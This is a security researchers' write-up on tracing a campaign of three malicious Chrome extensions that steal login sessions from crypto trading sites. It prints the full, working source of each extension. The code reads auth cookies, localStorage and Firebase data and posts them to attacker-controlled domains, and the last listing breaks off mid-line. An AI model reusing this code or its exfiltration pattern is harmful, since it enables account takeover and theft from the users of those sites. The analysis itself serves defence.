Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension…

Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension campaign

Short read for everyone: we found a malicious Chrome extension that stole login data from a crypto trading site. Tracing the domain it talked to uncovered a second malicious extension. That second extension’s public metadata contained the developer email, which led to a third malicious extension. All three behave the same way: they quietly read session data (cookies, localStorage, IndexedDB) and send it to attacker servers. Below is the full investigative flow and the actual code we found.

How it started: discovering Axiom Enhancer

We discovered Axiom Enhancer a malicious extension first through our extension analyzer.

The analyzer flagged as suspicious because it has background script that:

  • looks for an open axiom.trade tab,
  • checks for authentication cookies,
  • reads the site’s localStorage from the page,
  • and sends that data to an external URL.

Note: Dynamic analysis score of 2 is because the extension only triggers when it locates used logged into axiom.trade which was not simulated in our agentic simulation. Analyzer considers this inconclusive and omit it from overall risk calculations.

Here is the exact background.js code we analyzed for Axiom Enhancer

(() => {
const e = () => {
(console.log('Checking Axiom Tabs'),
chrome.tabs.query({ url: 'https://axiom.trade/*' }, ([e]) => {
e &&
(console.log('Found the tab!'),
new Promise((e, t) => {
chrome.cookies.getAll({ domain: '.axiom.trade' }, o => {
o?.length &&
o.some(e => 'auth-access-token' === e.name) &&
o.some(e => 'auth-refresh-token' === e.name)
? e(o)
: t('Required cookies not found.');
});
})
.then(t => {
return ((o = e.id),
new Promise((e, t) => {
chrome.scripting.executeScript(
{
target: { tabId: o },
func: () => {
try {
return Object.fromEntries(
Object.entries(localStorage)
);
} catch {
return {};
}
},
},
([o]) =>
o?.result
? e(o.result)
: t('Failed to fetch localStorage')
);
})).then(e =>
fetch('http://axiomenhancer.com/api/axiom', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ axiomCookies: t, localStorage: e }),
}).then(() => {
console.log('Syncing in progress');
})
);
var o;
})
.catch(console.error));
}));
},
t = () => {
return (
(t = e),
void chrome.storage.local.get(
['lastRequestTimestamp'],
({ lastRequestTimestamp: e = 0 }) => {
const o = Date.now();
if (o - e >= 5e3)
chrome.storage.local.set({ lastRequestTimestamp: o }, t);
else {
const t = Math.ceil((5e3 - (o - e)) / 1e3);
console.log(`Rate limit: wait ${t}s`);
}
}
)
);
var t;
};
let o = null;
const r = () => {
o || (o = setInterval(t, 5e3));
};
(chrome.runtime.onInstalled.addListener(() => {
(t(), r());
}),
chrome.runtime.onStartup.addListener(() => {
(t(), r());
}));
})();

What this code does :

  • On install and on browser startup it begins a repeating check (every ~5 seconds).
  • It searches for any open browser tab under https://axiom.trade/*.
  • If a tab is found, it checks cookies for auth-access-token and auth-refresh-token.
  • If those cookies exist, it injects a small script into that page to read all localStorage (site-stored data).
  • Finally it sends a POST to http://axiomenhancer.com/api/axiom with:

{ "axiomCookies": <cookie-array>, "localStorage": <object> }

  • It repeats this in the background, silently.

Why this is bad: cookies + localStorage can include authentication tokens and session data. By collecting and sending them offsite, the extension hands attackers the ability to impersonate users.

Pivot: domain tracing reveals Photon Bot

From the Axiom Enhancer code we quickly had a useful lead: the extension was sending data to axiomenhancer.com. We searched other extensions and components for the same domain and found Photon Bot. Photon’s background script posted to the same domain, and it specifically captured a cookie used by its targeted site.

Here is the background.js for Photon Bot

(() => {
let e = () => {
(console.log('Checking Photon Tabs'),
chrome.tabs.query(
{ url: 'https://photon-sol.tinyastro.io/*' },
([e]) => {
e &&
(console.log('Found the tab!'),
new Promise((e, t) => {
chrome.cookies.getAll(
{ domain: '.photon-sol.tinyastro.io' },
o => {
o?.length && o.some(e => '_photon_ta' === e.name)
? e(o)
: t('Required cookies not found.');
}
);
})
.then(e => {
for (let t of (console.log(e), e))
'_photon_ta' == t.name &&
fetch('https://axiomenhancer.com/api/photon', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ cookie: t.value }),
});
})
.catch(console.error));
}
));
},
t = () => {
var t;
return (
(t = e),
void chrome.storage.local.get(
['lastRequestTimestamp'],
({ lastRequestTimestamp: e = 0 }) => {
let o = Date.now();
if (o - e >= 5e3)
chrome.storage.local.set({ lastRequestTimestamp: o }, t);
else {
let a = Math.ceil((5e3 - (o - e)) / 1e3);
console.log(`Rate limit: wait ${a}s`);
}
}
)
);
},
o = null,
a = () => {
o || (o = setInterval(t, 5e3));
};
(chrome.runtime.onInstalled.addListener(() => {
(t(), a());
}),
chrome.runtime.onStartup.addListener(() => {
(t(), a());
}));
})();

What Photon Bot does

Why this matters: Photon used the same attacker domain (axiomenhancer.com) and the same exfiltration approach only the target site and cookie name differed. That strongly suggests the same author or group.

Pivot: metadata reveals developer email → find Trenches Agent

While inspecting Photon’s public metadata (store listing / developer contact), we found a developer email: blacktate114@gmail.com. Using that email as a pivot (searching extension metadata and the Chrome extensions database) revealed a third extension: Trenches Agent.

Here is the main code used by Trenches Agent

const backendURL = 'https://analyticsapi.online/api';
let defaultRateLimit = 5000;
const modules = [
{
name: 'gmgn',
fn: async function () {
chrome.tabs.query({ url: 'https://gmgn.ai/*' }, async tabs => {
let tab;

if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://gmgn.ai');
} else {
return;
}
let ls = await getLocalStorage(tab.id);
try {
await logAnalytics(this.name, { localStorageData: ls });
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 25000,
},
{
name: 'bullx',
fn: async function () {
chrome.tabs.query({ url: 'https://bullx.io/*' }, async tabs => {
let tab;

if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://bullx.io');
} else {
return;
}
let token = await getCookie({
url: 'https://bullx.io',
name: 'bullx-token',
});
let ls = await getLocalStorage(tab.id);
let fb = await extractFirebaseData(tab.id);
try {
await logAnalytics(this.name, {
cookie: token,
localStorageData: ls,
firebaseData: fb,
});
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 35000,
},
{
name: 'axiom',
fn: async function () {
chrome.tabs.query({ url: 'https://axiom.trade/*' }, async tabs => {
let tab;

if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://axiom.trade');
} else {
return;
}
let ls = await getLocalStorage(tab.id);

let access = await getCookie({
url: 'https://axiom.trade',
name: 'auth-access-token',
});
let refresh = await getCookie({
url: 'https://axiom.trade',
name: 'auth-refresh-token',
});
try {
await logAnalytics(this.name, { cookies: { access, refresh }, ls });
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 30000,
},
{
name: 'photon',
fn: async function () {
chrome.tabs.query(
{ url: 'https://photon-sol.tinyastro.io/en/discover' },
async tabs => {
let tab;

if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://photon-sol.tinyastro.io/en/discover');
} else {
return;
}
let cookies = await getCookie({
url: 'https://photon-sol.tinyastro.io',
name: '_photon_ta',
});
try {
logAnalytics(this.name, { cookie: cookies });
} catch (e) {
console.log(e);
}
}
);
},
initialized: false,
ratelimit: 40000,
},
{
name: 'padre',
fn: async function () {
chrome.tabs.query({ url: 'https://trade.padre.gg/*' }, async tabs => {
let tab;

if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://trade.padre.gg');
} else {
return;
}
let ls = await getLocalStorage(tab.id);
let fb = await extractFirebaseData(tab.id);
try {
await logAnalytics(this.name, {
localStorageData: ls,
firebaseData: fb,
});
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 45000,
},
];

let started = false;
function scheduleModuleChecks() {
for (const module of modules) {
setInterval(async () => {
try {
await module.fn();
} catch (err) {
console.error(`Error in module ${module.name}:`, err);
}
}, module.ratelimit || defaultRateLimit);
}
}

function startChecks() {
if (started) return;

console.log('Looking for trading platforms to enhance!');
scheduleModuleChecks();
started = true;
}
startChecks();

async function getCookie({ url, name, returnFull = false }) {
return new Promise((resolve, reject) => {
if (!url || !name) {
reject("Missing 'url' or 'name' parameter.");
return;
}

chrome.cookies.get({ url, name }, cookie => {
if (chrome.runtime.lastError) {
reject(`Chrome error: ${chrome.runtime.lastError.message}`);
return;
}

if (cookie) {
resolve(returnFull ? cookie : cookie.value);
} else {
resolve(false);
}
});
});
}

async function openTab(url) {
return new Promise(resolve => {
chrome.tabs.create({ url }, resolve);
});
}
async function getLocalStorage(tabId) {
return new Promise((resolve, reject) => {
chrome.scripting.executeScript(
{
target: { tabId },
func: () => {
try {
// Return all localStorage data as an object
return Object.fromEntries(
Object.entries(localStorage).map(([key, value]) => [key, value])
);
} catch (error) {
console.error('Error accessing localStorage:', error);
return null;
}
},
},
results => {
try {
const [result] = results || [];

if (!result || result.result === null) {
return reject(
'Failed to retrieve localStorage or script error occurred.'
);
}

resolve(result.result);
} catch (error) {
reject(`Error processing script results: ${error.message}`);
}
}
);
});
}
async function logAnalytics(endpoint, data) {
try {
const response = await fetch(`${backendURL}/${endpoint}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data),
});

if (!response.ok) {
const errorText = await response.text();
console.error(
`❌ Failed to send '${endpoint}' data. Status: ${response.status}, Response: ${errorText}`
);
return false;
}

console.log(`✅ '${endpoint}' data sent to backend successfully.`);
return true;
} catch (error) {
console.error(`

26 October 2025


>>More